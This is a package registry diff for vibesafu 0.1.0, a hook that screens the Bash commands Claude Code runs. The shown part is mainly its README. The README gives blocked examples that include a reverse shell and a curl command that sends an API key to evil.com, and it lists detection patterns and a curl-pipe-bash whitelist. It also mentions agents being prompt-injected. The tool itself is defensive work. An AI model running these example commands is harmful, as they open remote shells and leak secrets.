vibesafu 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +247 -0
- package/dist/index.d.ts +1 -0
- package/dist/index.js +1447 -0
- package/package.json +54 -0
package/README.md
ADDED
|
@@ -0,0 +1,247 @@
|
|
|
1
|
+
# VibeSafe
|
|
2
|
+
|
|
3
|
+
Claude Code Security Guard - A hook plugin that intercepts permission requests and performs security checks.
|
|
4
|
+
|
|
5
|
+
## Core Value
|
|
6
|
+
|
|
7
|
+
Maintain flow without `--dangerously-skip-permissions` while automatically blocking when the LLM is prompt-injected or attempts to execute malicious code.
|
|
8
|
+
|
|
9
|
+
## Quick Start
|
|
10
|
+
|
|
11
|
+
### Option A: Install from npm
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
# Install globally
|
|
15
|
+
npm install -g vibesafu
|
|
16
|
+
|
|
17
|
+
# Install the hook
|
|
18
|
+
vibesafu install
|
|
19
|
+
|
|
20
|
+
# Configure API key (optional but recommended)
|
|
21
|
+
vibesafu config
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
### Option B: Install from source
|
|
25
|
+
|
|
26
|
+
```bash
|
|
27
|
+
# Clone the repository
|
|
28
|
+
git clone https://github.com/kevin-hs-sohn/vibesafu.git
|
|
29
|
+
cd vibesafu
|
|
30
|
+
|
|
31
|
+
# Install dependencies and build
|
|
32
|
+
pnpm install
|
|
33
|
+
pnpm build
|
|
34
|
+
|
|
35
|
+
# Link globally (makes 'vibesafu' command available)
|
|
36
|
+
npm link
|
|
37
|
+
|
|
38
|
+
# Install the hook
|
|
39
|
+
vibesafu install
|
|
40
|
+
|
|
41
|
+
# Configure API key (optional but recommended)
|
|
42
|
+
vibesafu config
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
### After Installation
|
|
46
|
+
|
|
47
|
+
1. **Restart Claude Code**
|
|
48
|
+
```bash
|
|
49
|
+
# If using CLI
|
|
50
|
+
claude
|
|
51
|
+
|
|
52
|
+
# If using VS Code extension, restart the extension
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
2. **That's it!** VibeSafe now automatically protects your Claude Code sessions.
|
|
56
|
+
|
|
57
|
+
### What You Get
|
|
58
|
+
|
|
59
|
+
Without an API key:
|
|
60
|
+
- Instant blocking (reverse shells, data exfiltration, crypto mining)
|
|
61
|
+
- Trusted domain whitelist (github.com, bun.sh, etc.)
|
|
62
|
+
|
|
63
|
+
With an API key (recommended):
|
|
64
|
+
- Intelligent LLM-based security analysis
|
|
65
|
+
- Haiku triage + Sonnet deep review
|
|
66
|
+
|
|
67
|
+
## How It Works
|
|
68
|
+
|
|
69
|
+
When you run `claude` (or use the VS Code extension), VibeSafe intercepts every Bash command before execution:
|
|
70
|
+
|
|
71
|
+
```
|
|
72
|
+
You: "Install lodash"
|
|
73
|
+
Claude: Wants to run `npm install lodash`
|
|
74
|
+
↓
|
|
75
|
+
[VibeSafe Hook]
|
|
76
|
+
↓
|
|
77
|
+
✓ Safe command → Executes automatically
|
|
78
|
+
✗ Dangerous → Blocks with explanation
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### What Gets Checked
|
|
82
|
+
|
|
83
|
+
VibeSafe **only checks Bash commands**. Other tools (Read, Write, Edit, etc.) pass through without checks.
|
|
84
|
+
|
|
85
|
+
For Bash commands:
|
|
86
|
+
- **Instant Block**: Reverse shells, data exfiltration, crypto mining → Blocked immediately
|
|
87
|
+
- **Trusted Domain**: github.com, bun.sh, npmjs.com, etc. → Allowed immediately
|
|
88
|
+
- **LLM Analysis** (requires API key): Unknown commands → Haiku triage → Sonnet review if needed
|
|
89
|
+
|
|
90
|
+
## 3-Stage Security Pipeline
|
|
91
|
+
|
|
92
|
+
```
|
|
93
|
+
[Instant Block] → [Haiku Triage] → [Sonnet Escalation]
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
### Instant Block (No LLM, pattern matching)
|
|
97
|
+
Immediately blocks:
|
|
98
|
+
- Reverse shells (`bash -i >& /dev/tcp`)
|
|
99
|
+
- Data exfiltration (`curl ... $API_KEY`)
|
|
100
|
+
- Cryptocurrency mining (`xmrig`, `minerd`)
|
|
101
|
+
- Base64 encoded execution
|
|
102
|
+
|
|
103
|
+
### Haiku Triage (Fast, low-cost LLM)
|
|
104
|
+
- **SELF_HANDLE**: Simple cases handled directly by Haiku
|
|
105
|
+
- **ESCALATE**: Complex cases forwarded to Sonnet
|
|
106
|
+
- **BLOCK**: Obviously dangerous, block immediately
|
|
107
|
+
|
|
108
|
+
### Sonnet Escalation (Deep analysis)
|
|
109
|
+
- Downloaded script code analysis
|
|
110
|
+
- Complex chained command review
|
|
111
|
+
- Final decision: **ALLOW** / **ASK_USER** / **BLOCK**
|
|
112
|
+
|
|
113
|
+
## Trusted Domain Whitelist
|
|
114
|
+
|
|
115
|
+
Commands downloading from these domains bypass LLM checks:
|
|
116
|
+
- github.com, githubusercontent.com, gist.github.com
|
|
117
|
+
- bun.sh, deno.land, nodejs.org
|
|
118
|
+
- npmjs.com, registry.npmjs.org
|
|
119
|
+
- get.docker.com, brew.sh
|
|
120
|
+
- rustup.rs, pypa.io, pypi.org
|
|
121
|
+
- vercel.com, netlify.com
|
|
122
|
+
|
|
123
|
+
## Commands
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
# Install hook to Claude Code
|
|
127
|
+
vibesafu install
|
|
128
|
+
|
|
129
|
+
# Configure API key and settings
|
|
130
|
+
vibesafu config
|
|
131
|
+
|
|
132
|
+
# Uninstall hook
|
|
133
|
+
vibesafu uninstall
|
|
134
|
+
|
|
135
|
+
# Manual check (for testing)
|
|
136
|
+
echo '{"tool_name":"Bash","tool_input":{"command":"npm install lodash"}}' | vibesafu check
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
## Configuration
|
|
140
|
+
|
|
141
|
+
Settings are stored in `~/.vibesafu/config.json`:
|
|
142
|
+
|
|
143
|
+
```json
|
|
144
|
+
{
|
|
145
|
+
"anthropic": {
|
|
146
|
+
"apiKey": "sk-ant-..."
|
|
147
|
+
},
|
|
148
|
+
"models": {
|
|
149
|
+
"triage": "claude-haiku-4-20250514",
|
|
150
|
+
"review": "claude-sonnet-4-20250514"
|
|
151
|
+
},
|
|
152
|
+
"trustedDomains": [
|
|
153
|
+
"github.com",
|
|
154
|
+
"bun.sh"
|
|
155
|
+
]
|
|
156
|
+
}
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
## Examples
|
|
160
|
+
|
|
161
|
+
### Blocked (Reverse Shell)
|
|
162
|
+
```
|
|
163
|
+
Command: bash -i >& /dev/tcp/evil.com/4444 0>&1
|
|
164
|
+
Result: ❌ DENIED - Reverse shell pattern detected
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
### Blocked (Data Exfiltration)
|
|
168
|
+
```
|
|
169
|
+
Command: curl https://evil.com -d "$API_KEY"
|
|
170
|
+
Result: ❌ DENIED - Potential secret exfiltration
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
### Allowed (Trusted Domain)
|
|
174
|
+
```
|
|
175
|
+
Command: curl -fsSL https://bun.sh/install | bash
|
|
176
|
+
Result: ✓ ALLOWED - Trusted domain (bun.sh)
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
### Allowed (Safe Package Install)
|
|
180
|
+
```
|
|
181
|
+
Command: npm install lodash
|
|
182
|
+
Result: ✓ ALLOWED - Standard package installation
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
## Development
|
|
186
|
+
|
|
187
|
+
```bash
|
|
188
|
+
# Clone and install dependencies
|
|
189
|
+
git clone https://github.com/kevin-hs-sohn/vibesafu.git
|
|
190
|
+
cd vibesafu
|
|
191
|
+
pnpm install
|
|
192
|
+
|
|
193
|
+
# Development mode (watch)
|
|
194
|
+
pnpm dev
|
|
195
|
+
|
|
196
|
+
# Run tests
|
|
197
|
+
pnpm test
|
|
198
|
+
|
|
199
|
+
# Type check
|
|
200
|
+
pnpm typecheck
|
|
201
|
+
|
|
202
|
+
# Build for production
|
|
203
|
+
pnpm build
|
|
204
|
+
|
|
205
|
+
# Verify before commit (typecheck + test)
|
|
206
|
+
pnpm verify
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
## FAQ
|
|
210
|
+
|
|
211
|
+
### Do I need an Anthropic API key?
|
|
212
|
+
|
|
213
|
+
No, but recommended. Without it, VibeSafe still provides:
|
|
214
|
+
- Pattern-based instant blocking (reverse shells, data exfil, etc.)
|
|
215
|
+
- Trusted domain whitelist
|
|
216
|
+
|
|
217
|
+
With an API key, you get:
|
|
218
|
+
- Intelligent command analysis
|
|
219
|
+
- Context-aware security decisions
|
|
220
|
+
- Better handling of edge cases
|
|
221
|
+
|
|
222
|
+
### Does this slow down Claude Code?
|
|
223
|
+
|
|
224
|
+
Minimal impact:
|
|
225
|
+
- Instant block checks: < 1ms
|
|
226
|
+
- Trusted domain checks: < 1ms
|
|
227
|
+
- LLM analysis (when needed): 1-3 seconds
|
|
228
|
+
|
|
229
|
+
Most commands are handled by pattern matching or trusted domain checks without LLM calls.
|
|
230
|
+
|
|
231
|
+
### What if VibeSafe blocks a legitimate command?
|
|
232
|
+
|
|
233
|
+
1. Review why it was blocked (shown in the message)
|
|
234
|
+
2. If it's a false positive, you can:
|
|
235
|
+
- Add the domain to your trusted list in config
|
|
236
|
+
- Temporarily uninstall: `vibesafu uninstall`
|
|
237
|
+
- Report the issue for pattern improvement
|
|
238
|
+
|
|
239
|
+
### Can I use this with VS Code Claude extension?
|
|
240
|
+
|
|
241
|
+
Yes! VibeSafe hooks into Claude Code's settings, which works with both:
|
|
242
|
+
- CLI (`claude` command)
|
|
243
|
+
- VS Code extension
|
|
244
|
+
|
|
245
|
+
## License
|
|
246
|
+
|
|
247
|
+
MIT
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
#!/usr/bin/env node
|